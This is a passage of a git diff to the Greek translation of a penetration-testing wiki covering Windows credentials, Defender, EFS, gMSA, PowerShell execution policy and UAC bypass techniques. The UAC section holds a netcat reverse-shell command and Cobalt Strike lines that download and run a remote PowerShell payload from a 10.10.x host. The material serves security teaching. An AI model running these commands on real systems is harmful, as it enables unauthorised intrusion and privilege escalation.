διαπιστευτήρια: +Η LSA θα μπορούσε να αποθηκεύσει στο δίσκο κάποια διαπιστευτήρια: - Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (μη προσβάσιμος ελεγκτής τομέα). - Κωδικοί πρόσβασης των λογαριασμών υπηρεσιών Windows @@ -65,11 +65,11 @@ C:\windows\tracing ### NTDS.dit -Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο στους Ελεγκτές Τομέα. +Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο σε Ελεγκτές Τομέα. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις των Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο σε Windows 10 και Windows 11, και σε εκδόσεις Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. ### Έλεγχος @@ -103,56 +103,57 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS ασφαλίζει αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως το **Κλειδί Κρυπτογράφησης Αρχείου (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται μέσα στο $EFS **εναλλακτικό ρεύμα δεδομένων** του κρυπτογραφημένου αρχείου. Όταν απαιτείται αποκρυπτογράφηση, χρησιμοποιείται το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη για να αποκρυπτογραφηθεί το FEK από το ρεύμα $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία του χρήστη** περιλαμβάνουν: +**Decryption scenarios without user initiation** include: -- Όταν αρχεία ή φάκελοι μεταφέρονται σε ένα μη EFS σύστημα αρχείων, όπως το [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα. -- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω του δικτύου μέσω του πρωτοκόλλου SMB/CIFS αποκρυπτογραφούνται πριν από τη μετάδοση. +- When files or folders are moved to a non-EFS file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), they are automatically decrypted. +- Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission. -Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** σε κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, απλώς αλλάζοντας τον κωδικό πρόσβασης του κατόχου και συνδεόμενος δεν θα επιτρέψει την αποκρυπτογράφηση. +This encryption method allows **transparent access** to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption. -**Κύρια Σημεία**: +**Key Takeaways**: -- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη. -- Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK. -- Αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου. -- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα στον κάτοχο χωρίς επιπλέον βήματα. +- EFS uses a symmetric FEK, encrypted with the user's public key. +- Decryption employs the user's private key to access the FEK. +- Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission. +- Encrypted files are accessible to the owner without additional steps. ### Check EFS info -Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτή την **υπηρεσία** ελέγχοντας αν υπάρχει αυτή η διαδρομή:`C:\users\\appdata\roaming\Microsoft\Protect` +Check if a **user** has **used** this **service** checking if this path exists:`C:\users\\appdata\roaming\Microsoft\Protect` -Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \\ -Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και να **αποκρυπτογραφήσετε** όλα τα αρχεία +Check **who** has **access** to the file using cipher /c \\ +You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files ### Decrypting EFS files #### Being Authority System -Αυτή η μέθοδος απαιτεί ο **θύμα χρήστης** να είναι **σε εκτέλεση** μια **διαδικασία** μέσα στον υπολογιστή. Αν αυτό ισχύει, χρησιμοποιώντας μια συνεδρία `meterpreter` μπορείτε να προσποιηθείτε το διακριτικό της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Ή μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη. +This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user. #### Knowing the users password + {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} ## Group Managed Service Accounts (gMSA) -Η Microsoft ανέπτυξε **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών σε υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσιών που συχνά έχουν ενεργοποιημένη την ρύθμιση "**Ο κωδικός πρόσβασης δεν λήγει ποτέ**", οι gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση: +Microsoft developed **Group Managed Service Accounts (gMSA)** to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "**Password never expire**" setting enabled, gMSAs offer a more secure and manageable solution: -- **Αυτόματη Διαχείριση Κωδικών Πρόσβασης**: Οι gMSA χρησιμοποιούν έναν πολύπλοκο, 240-χαρακτήρων κωδικό πρόσβασης που αλλάζει αυτόματα σύμφωνα με την πολιτική τομέα ή υπολογιστή. Αυτή η διαδικασία διαχειρίζεται από την Υπηρεσία Κατανομής Κλειδιών της Microsoft (KDC), εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών πρόσβασης. -- **Ενισχυμένη Ασφάλεια**: Αυτοί οι λογαριασμοί είναι ανθεκτικοί σε κλειδώματα και δεν μπορούν να χρησιμοποιηθούν για διαδραστικές συνδέσεις, ενισχύοντας την ασφάλειά τους. -- **Υποστήριξη Πολλών Υπολογιστών**: Οι gMSA μπορούν να μοιράζονται σε πολλούς υπολογιστές, καθιστώντας τους ιδανικούς για υπηρεσίες που εκτελούνται σε πολλούς διακομιστές. -- **Δυνατότητα Προγραμματισμένων Εργασιών**: Σε αντίθεση με τους διαχειριζόμενους λογαριασμούς υπηρεσιών, οι gMSA υποστηρίζουν την εκτέλεση προγραμματισμένων εργασιών. -- **Απλοποιημένη Διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Όνομα Κύριου Υπηρεσίας (SPN) όταν υπάρχουν αλλαγές στα στοιχεία sAMaccount του υπολογιστή ή στο DNS όνομα, απλοποιώντας τη διαχείριση SPN. +- **Automatic Password Management**: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates. +- **Enhanced Security**: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security. +- **Multiple Host Support**: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers. +- **Scheduled Task Capability**: Unlike managed service accounts, gMSAs support running scheduled tasks. +- **Simplified SPN Management**: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management. -Οι κωδικοί πρόσβασης για τις gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Ελεγκτές Τομέα (DCs). Αυτός ο κωδικός πρόσβασης, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και τους διακομιστές στους οποίους είναι εγκατεστημένες οι gMSA, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες, απαιτείται μια ασφαλής σύνδεση όπως το LDAPS ή η σύνδεση πρέπει να είναι αυθεντικοποιημένη με 'Sealing & Secure'. +The passwords for gMSAs are stored in the LDAP property _**msDS-ManagedPassword**_ and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -Μπορείτε να διαβάσετε αυτόν τον κωδικό πρόσβασης με το [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` @@ -195,9 +196,9 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ``` Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε τη περιορισμένη λειτουργία. Για περισσότερες πληροφορίες, ελέγξτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## Πολιτική Εκτέλεσης PS +## PS Execution Policy -Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική: +Από προεπιλογή είναι ρυθμισμένο σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -231,7 +232,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel - %windir%\Windows\System32\kerberos.dll - **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers και LDAP, κωδικός πρόσβασης σε μορφή MD5 hash +- **Digest**: Web servers και LDAP, κωδικός πρόσβασης με τη μορφή MD5 hash - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL και TLS - %windir%\Windows\System32\Schannel.dll diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index de2cce621..34251edda 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -14,7 +14,7 @@ Όταν είναι σε εφαρμογή το UAC, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή. -Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε ένα περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες: +Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες: | Ρύθμιση Πολιτικής Ομάδας | Κλειδί Μητρώου | Προεπιλεγμένη Ρύθμιση | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | @@ -33,13 +33,19 @@ Ορισμένα προγράμματα είναι **αυτοανυψωμένα αυτόματα** αν ο **χρήστης ανήκει** στην **ομάδα διαχειριστών**. Αυτές οι δυαδικές έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Η δυαδική πρέπει επίσης να είναι **υπογεγραμμένη από τη Microsoft**. -Έτσι, για να **παρακαμφθεί** το **UAC** (ανύψωση από **μεσαίο** επίπεδο ακεραιότητας **σε υψηλό**) κάποιοι επιτιθέμενοι χρησιμοποιούν αυτού του είδους τις δυαδικές για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψηλού επιπέδου ακεραιότητας**. +Πολλές διαδικασίες αυτοανύψωσης εκθέτουν **λειτουργικότητα μέσω COM αντικειμένων ή RPC διακομιστών**, που μπορούν να κληθούν από διαδικασίες που εκτελούνται με μέτρια ακεραιότητα (δικαιώματα κανονικού χρήστη). Σημειώστε ότι το COM (Component Object Model) και το RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα προγράμματα Windows για να επικοινωνούν και να εκτελούν λειτουργίες σε διάφορες διαδικασίες. Για παράδειγμα, το **`IFileOperation COM object`** έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (αντιγραφή, διαγραφή, μετακίνηση) και μπορεί να ανυψώσει αυτόματα τα δικαιώματα χωρίς προτροπή. -Μπορείτε να **ελέγξετε** το _**Manifest**_ μιας δυαδικής χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από το Sysinternals. Και μπορείτε να **δείτε** το **επίπεδο ακεραιότητας** των διαδικασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (του Sysinternals). +Σημειώστε ότι μπορεί να εκτελούνται ορισμένοι έλεγχοι, όπως ο έλεγχος αν η διαδικασία εκτελέστηκε από τον **φάκελο System32**, που μπορεί να παρακαμφθεί, για παράδειγμα, **εισάγοντας στο explorer.exe** ή σε άλλη εκτελέσιμη που βρίσκεται στο System32. + +Ένας άλλος τρόπος για να παρακαμφθούν αυτοί οι έλεγχοι είναι να **τροποποιηθεί το PEB**. Κάθε διαδικασία στα Windows έχει ένα Block Περιβάλλοντος Διαδικασίας (PEB), το οποίο περιλαμβάνει σημαντικά δεδομένα σχετικά με τη διαδικασία, όπως η διαδρομή του εκτελέσιμου. Τροποποιώντας το PEB, οι επιτιθέμενοι μπορούν να προσποιηθούν (spoof) την τοποθεσία της δικής τους κακόβουλης διαδικασίας, κάνοντάς την να φαίνεται ότι εκτελείται από έναν αξιόπιστο φάκελο (όπως το system32). Αυτή η παραποιημένη πληροφορία εξαπατά το COM αντικείμενο ώστε να ανυψώσει αυτόματα τα δικαιώματα χωρίς να ζητήσει προτροπή από τον χρήστη. + +Στη συνέχεια, για να **παρακαμφθεί** το **UAC** (ανύψωση από **μέτριο** επίπεδο ακεραιότητας **σε υψηλό**), ορισμένοι επιτιθέμενοι χρησιμοποιούν αυτούς τους τύπους δυαδικών για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψηλού επιπέδου ακεραιότητας**. + +Μπορείτε να **ελέγξετε** το _**Manifest**_ μιας δυαδικής χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από το Sysinternals. (`sigcheck.exe -m `) Και μπορείτε να **δείτε** το **επίπεδο ακεραιότητας** των διαδικασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (του Sysinternals). ### Check UAC -Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο κάντε: +Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο, κάντε: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA @@ -56,17 +62,17 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` - Αν **`0`** τότε, το UAC δεν θα ζητήσει επιβεβαίωση (όπως **απενεργοποιημένο**) -- Αν **`1`** ο διαχειριστής **ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης** για να εκτελέσει το δυαδικό αρχείο με υψηλά δικαιώματα (στην Ασφαλή Επιφάνεια Εργασίας) -- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (στην Ασφαλή Επιφάνεια Εργασίας) -- Αν **`3`** όπως το `1` αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια Εργασίας -- Αν **`4`** όπως το `2` αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια Εργασίας +- Αν **`1`** ο διαχειριστής **ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης** για να εκτελέσει το δυαδικό αρχείο με υψηλά δικαιώματα (σε Secure Desktop) +- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (σε Secure Desktop) +- Αν **`3`** όπως το `1` αλλά δεν είναι απαραίτητο σε Secure Desktop +- Αν **`4`** όπως το `2` αλλά δεν είναι απαραίτητο σε Secure Desktop - αν **`5`**(**προεπιλογή**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών αρχείων με υψηλά προνόμια Στη συνέχεια, πρέπει να ρίξετε μια ματιά στην τιμή του **`LocalAccountTokenFilterPolicy`**\ Αν η τιμή είναι **`0`**, τότε, μόνο ο χρήστης **RID 500** (**ενσωματωμένος Διαχειριστής**) μπορεί να εκτελεί **διοικητικά καθήκοντα χωρίς UAC**, και αν είναι `1`, **όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators"** μπορούν να τα εκτελούν. Και, τελικά, ρίξτε μια ματιά στην τιμή του κλειδιού **`FilterAdministratorToken`**\ -Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός Διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός Διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` είναι ρυθμισμένο σε `1`. +Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός Διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός Διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` έχει οριστεί σε `1`. #### Περίληψη @@ -84,7 +90,7 @@ whoami /groups | findstr Level ``` ## UAC bypass -> [!NOTE] +> [!TIP] > Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC. Η παράκαμψη UAC είναι απαραίτητη στην εξής κατάσταση: **η UAC είναι ενεργοποιημένη, η διαδικασία σας εκτελείται σε ένα μέσο επίπεδο ακεραιότητας και ο χρήστης σας ανήκει στην ομάδα διαχειριστών**. @@ -93,7 +99,7 @@ whoami /groups | findstr Level ### UAC disabled -Αν η UAC είναι ήδη απενεργοποιημένη (`ConsentPromptBehaviorAdmin` είναι **`0`**) μπορείτε να **εκτελέσετε ένα reverse shell με δικαιώματα διαχειριστή** (υψηλό επίπεδο ακεραιότητας) χρησιμοποιώντας κάτι όπως: +Αν η UAC είναι ήδη απενεργοποιημένη (`ConsentPromptBehaviorAdmin` είναι **`0`**) μπορείτε **να εκτελέσετε ένα reverse shell με δικαιώματα διαχειριστή** (υψηλό επίπεδο ακεραιότητας) χρησιμοποιώντας κάτι όπως: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -106,7 +112,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 ### **Πολύ** Βασικός UAC "bypass" (πλήρης πρόσβαση στο σύστημα αρχείων) -Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή). +Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών, μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή). > [!WARNING] > **Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια** @@ -119,7 +125,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### UAC bypass με το Cobalt Strike -Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφαλείας του. +Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας του. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -131,7 +137,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** και **Metasploit** έχουν επίσης αρκετά modules για να **bypass** το **UAC**. +**Empire** και **Metasploit** έχουν επίσης αρκετά modules για **bypass** του **UAC**. ### KRBUACBypass @@ -139,10 +145,10 @@ Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://git ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME)που είναι μια **compilation** αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME χρησιμοποιώντας visual studio ή msbuild**. Η compilation θα δημιουργήσει αρκετά executables (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να ξέρετε **ποιο χρειάζεστε.**\ -Πρέπει να **είστε προσεκτικοί** γιατί μερικά bypass θα **προκαλέσουν κάποια άλλα προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει. +[**UACME** ](https://github.com/hfiref0x/UACME)που είναι μια **συλλογή** αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME χρησιμοποιώντας visual studio ή msbuild**. Η συλλογή θα δημιουργήσει αρκετά executables (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να γνωρίζετε **ποιο χρειάζεστε.**\ +Πρέπει να **είστε προσεκτικοί** γιατί μερικά bypass θα **προκαλέσουν άλλες εφαρμογές** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει. -Το UACME έχει την **build version από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας: +Το UACME έχει την **έκδοση build από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας: ``` PS C:\> [environment]::OSVersion.Version @@ -150,11 +156,11 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +Επίσης, χρησιμοποιώντας [this](https://en.wikipedia.org/wiki/Windows_10_version_history) σελίδα, μπορείτε να αποκτήσετε την έκδοση Windows `1607` από τις εκδόσεις build. #### Περισσότερο UAC bypass -**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν το AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή nc.exe κονσόλα δεν είναι αρκετή). +**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν το AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή κονσόλα nc.exe δεν είναι αρκετή). Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια **meterpreter** συνεδρία. Μεταναστεύστε σε μια **διαδικασία** που έχει την τιμή **Session** ίση με **1**: @@ -164,24 +170,24 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag ### UAC Bypass με GUI -Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλά να αποδεχτείτε το UAC prompt** όταν το λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC. +Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλά να αποδεχθείτε την προτροπή UAC** όταν την λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC. -Επιπλέον, αν αποκτήσετε μια GUI συνεδρία που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**. +Επιπλέον, αν αποκτήσετε μια συνεδρία GUI που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**. ### Θορυβώδης brute-force UAC bypass -Αν δεν σας νοιάζει να είστε θορυβώδεις μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχτεί**. +Αν δεν σας νοιάζει να είστε θορυβώδεις, μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το 